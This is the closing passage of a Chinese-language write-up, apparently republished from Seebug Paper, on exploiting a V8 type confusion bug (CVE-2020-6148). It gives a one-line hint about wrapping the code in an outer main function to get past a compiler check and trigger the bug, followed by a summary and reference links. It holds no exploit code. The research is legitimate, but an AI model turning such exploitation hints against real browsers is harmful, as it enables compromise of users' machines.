Node* control = NodeProperties::GetControlInput(node);
所以需要在最外面加一層main函數,繞過這個點,從而觸發漏洞。
總結
通過應急響應這個cve-2020-6148漏洞,對于類型混淆漏洞原理進一步掌握,也是對于pointer compression的進一步理解,也是對于新的內存機制下v8漏洞利用的學習,一舉多得。
相關文件以及代碼鏈接
參考鏈接
- Pointer Compression in V8
- V8 release v8.0
- Compressed pointers in V8
- Reflect.construct()
- Stable Channel Update for Desktop
- Trashing the Flow of Data
- BigUint64Array
- fb0a60e15695466621cf65932f9152935d859447
- Fix bug in receiver maps inference
- Security: Incorrect side effect modelling for JSCreate
- A EULOGY FOR PATCH-GAPPING CHROME
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1358/
暫無評論